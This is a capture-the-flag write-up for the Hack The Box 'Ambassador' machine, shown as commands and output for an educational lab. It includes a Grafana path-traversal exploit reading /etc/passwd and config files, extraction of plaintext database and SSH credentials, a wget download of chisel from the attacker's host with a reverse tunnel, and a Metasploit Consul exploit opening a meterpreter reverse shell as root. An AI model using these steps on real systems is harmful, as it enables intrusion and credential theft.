Ambassador hackthebox writeup
User Flag
First of all port scanning
$ nmap -Pn -sS -n -p- -v --min-rate 5000 -oN allports 10.10.11.183
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
3306/tcp open MySQL
four TCP ports are open, let’s scan them more deeply.
$ nmap -sCV -p22,80,3000,3306 -vv -oN targeted 10.10.11.183
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
...
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ambassador Development Server
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
3000/tcp open ppp? syn-ack ttl 63
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
...
3306/tcp open MySQL syn-ack ttl 63 MySQL 8.0.30-0ubuntu0.20.04.2
| MySQL-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
...
We have the usual ssh and http but there is also what seems to be another http service running on port 3000 and a MySQL database.
On the webpage on port 80, we find a curious sentence Use the developer account to SSH, DevOps will give you the password.
. So we know one user is present in the machine. On the other hand, on port 3000 we find a Grafana login page, by searching the version on the internet I found it is vulnerable to LFI and also this exploit. It seems that the application is vulnerable to LFI in the /public/plugins/
+ Plugin name directory.
Now just change the contents of the targets.txt
folder to the corresponding IP and run it.
$ python3 exploit.py
_____ _____ ___ __ ___ _ _ _ ________ ___ ___
/ __\ \ / / __|_|_ ) \_ ) |___| | |__ /__ / _ ( _ )
| (__ \ V /| _|___/ / () / /| |___|_ _|_ \ / /\_, / _ \
\___| \_/ |___| /___\__/___|_| |_|___//_/ /_/\___/
@pedrohavay / @acassio22
? Enter the target list: targets.txt
========================================
[i] Target: http://10.10.11.183:3000
[i] Analysing files...
[i] File "/conf/defaults.ini" found in server.
http://10.10.11.183:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2fconf/defaults.ini
[*] File saved in "./http_10_10_11_183_3000/defaults.ini".
[i] File "/etc/grafana/grafana.ini" found in server.
http://10.10.11.183:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/grafana/grafana.ini
[*] File saved in "./http_10_10_11_183_3000/grafana.ini".
[i] File "/etc/passwd" found in server.
http://10.10.11.183:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
[*] File saved in "./http_10_10_11_183_3000/passwd".
[i] File "/var/lib/grafana/grafana.db" found in server.
http://10.10.11.183:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar/lib/grafana/grafana.db
[*] File saved in "./http_10_10_11_183_3000/grafana.db".
[i] File "/proc/self/cmdline" found in server.
http://10.10.11.183:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc/self/cmdline
[*] File saved in "./http_10_10_11_183_3000/cmdline".
? Do you want to try to extract the passwords from the data source? Yes
[i] Secret Key: SW2YcwTIb9zpOOhoPsMm
[*] Bye Bye!
Now by looking at the files we find a couple of passwords, First the login credentials for Grafana
$ cat grafana.ini| grep -E 'admin_password|admin_user'
admin_user = admin
admin_password = messageInABottle685427
This seems to be useless however, we have more files to look at. By searching inside the database we found the credentials for the MySQL database.
$ sqlite3 grafana.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
alert login_attempt
alert_configuration migration_log
alert_instance ngalert_configuration
alert_notification org
alert_notification_state org_user
alert_rule playlist
alert_rule_tag playlist_item
alert_rule_version plugin_setting
annotation preferences
annotation_tag quota
api_key server_lock
cache_data session
dashboard short_url
dashboard_acl star
dashboard_provisioning tag
dashboard_snapshot team
dashboard_tag team_member
dashboard_version temp_user
data_source test_data
kv_store user
library_element user_auth
library_element_connection user_auth_token
sqlite> .dump data_source
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE `data_source` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL
, `org_id` INTEGER NOT NULL
, `version` INTEGER NOT NULL
, `type` TEXT NOT NULL
, `name` TEXT NOT NULL
, `access` TEXT NOT NULL
, `url` TEXT NOT NULL
, `password` TEXT NULL
, `user` TEXT NULL
, `database` TEXT NULL
, `basic_auth` INTEGER NOT NULL
, `basic_auth_user` TEXT NULL
, `basic_auth_password` TEXT NULL
, `is_default` INTEGER NOT NULL
, `json_data` TEXT NULL
, `created` DATETIME NOT NULL
, `updated` DATETIME NOT NULL
, `with_credentials` INTEGER NOT NULL DEFAULT 0, `secure_json_data` TEXT NULL, `read_only` INTEGER NULL, `uid` TEXT NOT NULL DEFAULT 0);
INSERT INTO data_source VALUES(2,1,1,'MySQL','MySQL.yaml','proxy','','dontStandSoCloseToMe63221!','grafana','grafana',0,'','',0,X'7b7d','2022-09-01 22:43:03','2023-01-18 09:56:11',0,'{}',1,'uKewFgM4z');
COMMIT;
With this information let’s connect to MySQL.
$ MySQL -u grafana -p -h 10.10.11.183 -D grafana
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 119
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
MySQL [grafana]> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| MySQL |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0.047 sec)
MySQL [grafana]> use whackywidget
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0.046 sec)
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
We have the developer password base64 encoded, let’s just decode it and get our user flag.
$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468
$ ssh developer@10.10.11.183
developer@10.10.11.183's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
developer@ambassador:~$
Root flag
By using the usual check for privesc I found a strange directory in /opt. It is a git repository so I checked the older commits
$ cd /opt
developer@ambassador:/opt$ ls
consul my-app
developer@ambassador:/opt$ cd my-app/
developer@ambassador:/opt/my-app$ ls -la
total 24
drwxrwxr-x 5 root root 4096 Mar 13 2022 .
drwxr-xr-x 4 root root 4096 Sep 1 22:13 ..
drwxrwxr-x 4 root root 4096 Mar 13 2022 env
drwxrwxr-x 8 root root 4096 Mar 14 2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:44:11 2022 +0000
.gitignore
developer@ambassador:/opt/my-app$ git diff c982db8eff6f10f8f3a7d802f79f2705e7a21b55
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
# We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/MySQL_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/MySQL_pw $MYSQL_PASSWORD
This app is suing consul which is a fairly complex software to connect various systems. By searching on the internet for ways to privesc with consul the exploitdb page comes up, It also says the exploit is available in metasploit. This exploit works by making a request to the API running on port 8500, then we execute code sending a PUT request to /v1/agent/check/register
.
However, we can’t execute metasploit in the ambassador machine so we need to do port forwarding first. Thus we need to get chisel to the victim’s machine and then proceed with the port forwarding
[dasor@archlinux ~/hacking_tools]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
...
developer@ambassador:/dev/shm$ wget 10.10.14.175:8000/chisel
--2023-01-18 19:37:19-- http://10.10.14.175:8000/chisel
Connecting to 10.10.14.175:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14438400 (14M) [application/octet-stream]
Saving to: ‘chisel’
chisel 100%[==========================================================>] 13.77M 6.81MB/s in 2.0s
2023-01-18 19:37:21 (6.81 MB/s) - ‘chisel’ saved [14438400/14438400]
Now let’s run it
[dasor@archlinux ~/hacking_tools]$ ./chisel server -p 7777 --reverse
2023/01/18 20:39:11 server: Reverse tunnelling enabled
2023/01/18 20:39:11 server: Fingerprint Bydycy1BjfpGYuZSEugEcvtxFge0yrgH1FY9C/i0KMg=
2023/01/18 20:39:11 server: Listening on http://0.0.0.0:7777
...
developer@ambassador:/dev/shm$ ./chisel client 10.10.14.175:7777 R:8500:127.0.0.1:8500
2023/01/18 19:39:31 client: Connecting to ws://10.10.14.175:7777
2023/01/18 19:39:31 client: Connected (Latency 45.659552ms)
Lastly, let’s run metasploit
msfconsole -q
msf6 > grep consul search consul type:exploit
msf6 > grep consul search consul type:exploit
3 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec
4 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API
msf6 > use 4
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/consul_service_exec) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > set LHOST 10.10.14.175
LHOST => 10.10.14.175
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5
ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > exploit
[*] Started reverse TCP handler on 10.10.14.175:4444
[*] Creating service 'tJRjJQqb'
[*] Service 'tJRjJQqb' successfully created.
[*] Waiting for service 'tJRjJQqb' script to trigger
[*] Sending stage (1017704 bytes) to 10.10.11.183
[*] Meterpreter session 1 opened (10.10.14.175:4444 -> 10.10.11.183:60006) at 2023-01-18 20:44:35 +0100
[*] Removing service 'tJRjJQqb'
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > shell
Process 32677 created.
Channel 1 created.
whoami
root
And That is all. Thanks for reading!